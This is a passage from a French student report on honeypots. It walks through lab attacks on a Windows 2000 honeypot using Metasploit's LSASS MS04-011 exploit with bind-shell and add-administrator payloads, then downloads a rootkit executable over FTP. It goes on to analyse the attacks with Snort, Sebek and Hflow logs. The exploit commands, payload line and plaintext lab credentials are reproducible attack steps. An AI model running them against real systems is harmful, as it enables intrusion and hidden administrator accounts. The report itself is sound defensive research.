    En lisant le contenu du paquets de Snort, on peut avoir le compte et ainsi le mot de passe utilis pour entrer le serveur ftp. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 01/27-11:31:08.028308 AA:0:4:0:A:4 -> 0:10:5A:5E:F0:37 type:0x800 len:0x50 10.0.0.13:47371 -> 10.0.1.7:21 TCP TTL:64 TOS:0x10 ID:42160 IpLen:20 DgmLen:66 DF ***AP*** Seq: 0x35A2FE9B Ack: 0xA756A5BE Win: 0x5B4 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2320517 3460094 55 53 45 52 20 74 68 61 6E 67 70 71 0D 0A USER thangpq.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 01/27-11:32:17.036667 AA:0:4:0:A:4 -> 0:10:5A:5E:F0:37 type:0x800 len:0x4F 10.0.0.13:47371 -> 10.0.1.7:21 TCP TTL:64 TOS:0x10 ID:42162 IpLen:20 DgmLen:65 DF

    - 49 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    ***AP*** Seq: 0x35A2FEA9 Ack: 0xA756A5E1 Win: 0x5B4 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2337766 3460094 50 41 53 53 20 31 32 33 34 35 36 0D 0A PASS 123456.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

    4.3 Honeynet

    4.3.1 Exploits sous WIN 2000 None Service Pack

    4.3.1.1 Exploitation LSASS-BIND WIN 2000

    ttre

    ivits sur Honeypot WIN 2000 par outil Metasploit

    Scnario dune attaque : En supposant qu'un attaqueur utilise une exploitation sur le service netbios-ssn du Microsoft Port 139 pour compromele systme. Cest lexploitation LSASS . Il utilise un Payload pour crer une session qui coute sur le port 4444. Dans ce scnario, aprs avoir russit compromettre le systme. Il essaie tlcharger un fichier sur son ftp serveur (10.0.0.6). Les act msf > use lsass_ms04_011 msf lsass_ms04_011 > show targets Supported Exploit Targets ========================= 0 Automatic 1 Windows 2000 2 Windows XP msf lsass_ms04_011 > set TARGET 1 TARGET -> 1 msf lsass_ms04_011(win32_bin) > set PAYLOAD win32_bind PAYLOAD -> win32_bind msf lsass_ms04_011(win32_bind) > set RHOST 10.0.0.4 RHOST -> 10.0.0.4 msf lsass_ms04_011(win32_bind) > exploit [*] Starting Bind Handler. [*] Sending request... [*] Got connection from 10.0.0.13:46242 10.0.0.4:4444 Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-1999 Microsoft Corp. E:\WINNT\system32>ping 10.0.0.6 ping 10.0.0.6 Pinging 10.0.0.6 with 32 bytes of data: Reply from 10.0.0.6: bytes=32 time

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Ping statistics for 10.0.0.6: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 40ms, Average = 12ms E:\WINNT\system32>C: C: C:\>dir dir Volume in drive C has no label. Volume Serial Number is 7808-0EBD Directory of C:\ 01/14/2007 06:01p WINDOWS 01/14/2007 06:06p Documents and Settings 01/17/2007 02:51p Program Files 01/16/2007 06:15p 14 testlsass.txt 01/22/2007 12:30a 16 test.txt 01/22/2007 01:02a 5 testXP.txt 01/27/2007 01:48p 433,192 newrootkit.exe 01/27/2007 02:06p 424 test1.txt 5 File(s) 433,651 bytes 3 Dir(s) 19,115,147,264 bytes free C:\>ftp 10.0.0.6 ftp 10.0.0.6 User (10.0.0.6:(none)): thangpq Dans ce scnario, il a chou se connecter son serveur ftp. Peut tre la

    Analyses des journaux : maintenant, on ne sait pas ce qu'il fait dans notre s

    arce que lon considre nimporte connexion sur ladresse dun honeypot se

    cause est la latence de la rponse du serveur.

    ystme. En utilisant l'interface web Walleye, on va vrifier si lon peut capturer quelques choses intressantes. Pcomme une attaque, donc on va tudier les connexions concernes ladres10.0.0.4

    En analysant les paquets capturs par Snort sous forme pcap, on trouve il existe

    u un fragment de code malicieux dans cette session. Mais dans ce cas, Snort nalerte par ce fragment (peut tre il nexiste pas dans la base de signature dSnort).

    - 51 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Si lon regarde des fragments de code comme a, il y a de la possibilit dans laquelle quelquun a dj russit entrer notre systme. Continuer surveiller des journaux autour ce moment l, on trouve quil y a des connexions sur le port krb524, exactement elles concernent cet attaque.

    En fait, dans ce cas l, cest un back-door auquel le pirate communique pour traverser notre systme. En analysant en dtail plus les informations dans sa session, on trouve les commandes quil utilise distance. Commande Ping =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 01/27-15:04:30.092662 0:10:5A:5E:F0:37 -> AA:0:4:0:A:4 type:0x800 len:0x50 10.0.0.4:4444 -> 10.0.0.13:46242 TCP TTL:128 TOS:0x0 ID:618 IpLen:20 DgmLen:66 DF ***AP*** Seq: 0x7DBD1569 Ack: 0x5A9DF9C1 Win: 0x4462 TcpLen: 32 TCP Options (3) => NOP NOP TS: 38215 5520450 70 69 6E 67 20 31 30 2E 30 2E 30 2E 36 0A ping 10.0.0.6. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

    - 52 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Commande ftp =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 01/27-15:05:53.798140 AA:0:4:0:A:4 -> 0:10:5A:5E:F0:37 type:0x800 len:0x4F 10.0.0.13:46242 -> 10.0.0.4:4444 TCP TTL:64 TOS:0x0 ID:56139 IpLen:20 DgmLen:65 DF ***AP*** Seq: 0x5A9DF9C8 Ack: 0x7DBD19C3 Win: 0x8D8 TcpLen: 32 TCP Options (3) => NOP NOP TS: 5541373 38793 66 74 70 20 31 30 2E 30 2E 30 2E 36 0A ftp 10.0.0.6. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ Sa compte sur ftp serveur : thangpq =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 01/27-15:05:53.826507 0:10:5A:5E:F0:37 -> AA:0:4:0:A:4 type:0x800 len:0x5A 10.0.0.4:4444 -> 10.0.0.13:46242 TCP TTL:128 TOS:0x0 ID:643 IpLen:20 DgmLen:76 DF ***AP*** Seq: 0x7DBD19D0 Ack: 0x5A9DF9D5 Win: 0x444E TcpLen: 32 TCP Options (3) => NOP NOP TS: 39053 5541374 55 73 65 72 20 28 31 30 2E 30 2E 30 2E 36 3A 28 User (10.0.0.6:( 6E 6F 6E 65 29 29 3A 20 none)): =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 01/27-15:05:59.923698 AA:0:4:0:A:4 -> 0:10:5A:5E:F0:37 type:0x800 len:0x4A 10.0.0.13:46242 -> 10.0.0.4:4444 TCP TTL:64 TOS:0x0 ID:56142 IpLen:20 DgmLen:60 DF ***AP*** Seq: 0x5A9DF9D5 Ack: 0x7DBD19E8 Win: 0x8D8 TcpLen: 32 TCP Options (3) => NOP NOP TS: 5542904 39053 74 68 61 6E 67 70 71 0A thangpq. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ Dans cette session, quand il envoie son mot de passe (de thangpq), il existe une erreur dans son programme, donc le mot de passe nest pas envoy et il ne peut pas russir se connecter au serveur. Avec le support des paquets du client Sebek, on galement capture la connexion entre la machine compromise et le serveur ftp

    Comme ce qui est dj abord dans la partie thorique, Hflow daemon collecte des donnes partir de plusieurs ressources et construire un arbre des processus sur un honeypot compromis. Ci-dessous est larbre des processus concerns la connexion ftp et ping.

    - 53 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Le processus en cyan en fait cest un processus dutilisateur normal, mais quand il spawn le processus ftp client, il a chang vers le droit administratif (en jaune). Les informations concernes le processus cmd.exe. En fait ce sont les key-strokes . 15:03:03 Microsoft Windows 2000 [Version 5.00.2195] 15:03:30 E:\WINNT\system32>ping 10.0.0.6 15:03:24 E:\WINNT\system32>C: 15:03:27 C:\>dir 15:03:27 01/14/2007 06:01p WINDOWS 15:03:27 01/14/2007 06:06p Documents and Settings 15:03:27 01/17/2007 02:51p Program Files 15:03:27 01/16/2007 06:15p 14 testlsass.txt 15:03:27 01/22/2007 12:30a 16 test.txt 15:03:27 01/22/2007 01:02a 5 testXP.txt 15:03:27 01/27/2007 01:48p 433,192 newrootkit.exe 15:03:27 01/27/2007 02:06p 424 test1.txt 15:03:53 C:\>ftp 10.0.0.6 Les informations concernes le processus ping.exe.

    - 54 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Les informations concernes le processus ftp.exe.

    Les informations acquises ici ne sont pas intressantes, en fait le compte envoy vers la machine compromise par le back-door , il napparat pas ici, parce que le client Sebek ne capture que un octet dentre ou sortie, donc Hflow ne combine pas le compte et mot de passe au processus ftp. Cest une faiblesse de Hflow. En rsume, aprs avoir analys des donnes journalises par Honeywall, on peut savoir les activits principales du pirate : il a compromis le systme par une exploitation sur le service netbios-ssn (en fait cest une faute dans le module lsass), et ensuite il essaie de tlcharger quelques choses sur son serveur ftp.

    4.3.1.2 Exploitation LSASS-ADDUSER WIN 2000

    Scnario dune attaque : En supposant qu'un attaqueur utilise une exploitation sur le service netbios-ssn du Microsoft Port 139 pour compromettre le systme. Cest lexploitation LSASS . Il utilise un Payload pour ajouter un compte sur le systme en utilisant la commande suivant dans son PAYLOAD cmd.exe /c net user USERNAME PASSWORD /ADD && net localgroup Administrators /ADD USERNAME Dans ce scnario, aprs avoir russit ajouter un compte. Il essaie de se connecter au service Telnet pour re-tlcharger son fichier sur son ftp serveur (10.0.0.6).

    - 55 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Les activits sur Honeypot WIN 2000 par outil Metasploit. msf lsass_ms04_011(win32_adduser) > set PASS 123456 PASS -> 123456 msf lsass_ms04_011(win32_adduser) > set USER anhphuong USER -> anhphuong msf lsass_ms04_011(win32_adduser) > exploit [*] Sending request... [*] RPC server responded with: [*] NO RESPONSE [*] This probably means that the system is patched msf lsass_ms04_011(win32_adduser) > Les activits sur Honeypot WIN 2000 par un console. thangpq@thangpq-laptop:~/Desktop/baocaotipe/honeyd-exp$ telnet 10.0.0.4 Trying 10.0.0.4... Connected to 10.0.0.4. Escape character is '^]'. Microsoft (R) Windows (TM) Version 5.00 (Build 2195) Welcome to Microsoft Telnet Service Telnet Server Build 5.00.99201.1 login: anhphuong password: ****** C:\>ftp 10.0.0.6 Connected to 10.0.0.6. 220 Hello, I'm freeFTPd 1.0 User (10.0.0.6:(none)): thangpq 331 Password required for thangpq Password: 230 User thangpq logged in ftp> get msgr8us.exe mynewrootkit.exe 200 PORT command successful 150 Opening BINARY mode data connection 226 Transfer Complete ftp: 433192 bytes received in 2.60Seconds 166.42Kbytes/sec. ftp> Dans ce scnario, il a russit se connecter son serveur ftp et tlcharg le fichier msgr8us.exe.

    Analyses des journaux : maintenant, on ne sait pas ce qu'il fait dans notre systme. En utilisant l'interface web Walleye, on va vrifier si on peut capturer quelques choses intressantes. Parce que lon considre nimporte connexion sur ladresse dun honeypot comme une attaque, donc on va tudier les connexions concernes ladresse 10.0.0.4.

    En analysant les paquets capturs par Snort sous forme pcap, on trouve il existe

    - 56 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    un fragment de code malicieux dans cette session. Mais dans ce cas, Snort nalerte par ce fragment (peut tre il nexiste pas dan la base de signature du Snort).

    Si lon regarde des fragments de code comme a, il y a de la possibilit dans laquelle quelquun a dj russit entrer notre systme. Continuer surveiller des journaux autour ce moment l, on trouve quil y a des connexions sur le port telnet, exactement elle concerne cet attaque.

    En analysant des informations du flux du protocole telnet on trouve le compte et le mot de passe utilis par le pirate sont anhphuong :123456 . Et il utilise ftp pour tlcharger son fichier. Fichier de journal du protocole telnet. 20 20 20 20 20 20 20 20 20 20 20 20 20 20 1B 5B .[ 31 34 3B 32 48 2E 2F 1B 5B 31 35 3B 31 48 74 65 14;2H./.[15;1Hte 73 74 2E 74 78 74 1B 5B 31 36 3B 31 48 6D 73 67 st.txt.[16;1Hmsg 72 38 75 73 2E 65 78 65 1B 5B 31 37 3B 31 48 32 r8us.exe.[17;1H2 32 36 20 44 69 72 65 63 74 6F 72 79 20 73 65 6E 26 Directory sen 64 20 4F 4B 1B 5B 31 38 3B 31 48 66 74 70 3A 20 d OK.[18;1Hftp:

    - 57 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    33 32 20 62 79 74 65 73 20 72 65 63 65 69 76 65 32 bytes receive 64 20 69 6E 20 30 2E 30 30 53 65 63 6F 6E 64 73 d in 0.00Seconds 20 33 32 30 30 30 2E 30 30 4B 62 79 74 65 73 2F 32000.00Kbytes/ 73 65 63 2E 1B 5B 31 39 3B 34 48 3E 20 67 65 74 sec..[19;4H> get 20 6D 73 67 72 38 75 73 2E 65 78 65 20 6D 79 72 msgr8us.exe myr 6F 6F 74 6B 69 74 2E 65 78 65 20 20 20 20 20 20 ootkit.exe Larbre des processus concerns le protocole ftp.

    Les processus en jaune en fait ce sont les processus de ladministrateur, parce que quand le pirate entre le systme, il utilise le compte dans le groupe administratif. Les informations concernes le processus cmd.exe. 15:03:02 01/14/2007 06:01p WINDOWS 15:03:02 01/14/2007 06:06p Documents and Settings 15:03:02 01/17/2007 02:51p Program Files 15:03:02 01/16/2007 06:15p 14 testlsass.txt 15:03:02 01/22/2007 12:30a 16 test.txt 15:03:02 01/22/2007 01:02a 5 testXP.txt 15:03:02 01/27/2007 01:48p 433,192 newrootkit.exe 15:03:02 01/27/2007 02:06p 424 test1.txt 15:03:02 01/27/2007 03:47p 433,192 myrootkit.exe La connexion ftp capture par Honeywall.

    Fichier de journal du protocole ftp. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 01/27-15:47:56.789558 0:10:5A:5E:F0:37 -> 0:A:E4:F3:42:83 type:0x800 len:0x44

    - 58 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    10.0.0.4:1068 -> 10.0.0.6:21 TCP TTL:128 TOS:0x0 ID:897 IpLen:20 DgmLen:54 DF ***AP*** Seq: 0xA4B9F16D Ack: 0xC7206976 Win: 0x4453 TcpLen: 20 55 53 45 52 20 74 68 61 6E 67 70 71 0D 0A USER thangpq.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 01/27-15:48:01.463220 0:10:5A:5E:F0:37 -> 0:A:E4:F3:42:83 type:0x800 len:0x43 10.0.0.4:1068 -> 10.0.0.6:21 TCP TTL:128 TOS:0x0 ID:906 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0xA4B9F17B Ack: 0xC7206999 Win: 0x4430 TcpLen: 20 50 41 53 53 20 31 32 33 34 35 36 0D 0A PASS 123456.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ Le compte et mot de passe utilis pour ftp thangpq :123456 .

    es informations concernes le processus ftp.exe. L

    220 Hello, I'm freeFTPd 1.0 15:03:42 15:03:56 User (10.0.0.6:(none)): 15:03:56 331 Password required for thangpq 15:03:01 Password: 15:03:02 230 User thangpq logged in 15:03:15 ftp> 15:03:15 200 PORT command successful 15:03:15 150 Opening ASCII mode data connection 15:03:15 226 Directory send OK 15:03:15 ftp: 32 bytes received in 0.00Seconds 32000.00 15:03:41 ftp> 15:03:41 200 PORT command successful 15:03:41 150 Opening BINARY mode data connection 15:03:44 226 Transfer Complete 15:03:44 ftp: 433192 bytes received in 3.11Seconds 139.11 15:03:57 ftp> 15:03:57 221 Goodbye! Les informations concernes le processus en fait elles ne contient pas les

    lient

    e sont les rsultats exports par loutil honeydsum en reliant le fichier

    informations concern le protocole, ce ne sont que les informations que le cSebek capture sur les flux dentre et sortie. Pour avoir plus dinformations intressantes, il faut regarder les journaux par Snort sur Honeywall.

    4.4 Statistiques des attaques relles

    4.4.1 Honeyd Choneyd.log. Source pour tlcharger honeydsum : http://www.honeynet.org.br/tools/ La figure suivant illustre la configuration du rseau dans cette situation.

    - 59 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Figure 25 La configuration du rseau dans lexprimentation de Honeyd

    i-dessous est le nombre des connexions sur ladresse publique du Modem C

    ASDL mais diriges vers la machine XP virtuel 10.0.1.6.

    Figure 26 Le nombre de connexions ladresse publique

    - 60 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    La plupart des connexions sont les connexions de type TCP et quelques connexions UDP.

    Figure 27 Le nombre de requtes la machine 10.0.1.6

    ans cette exprimentation, on ne utilise que la machine 10.0.1.6 pour comp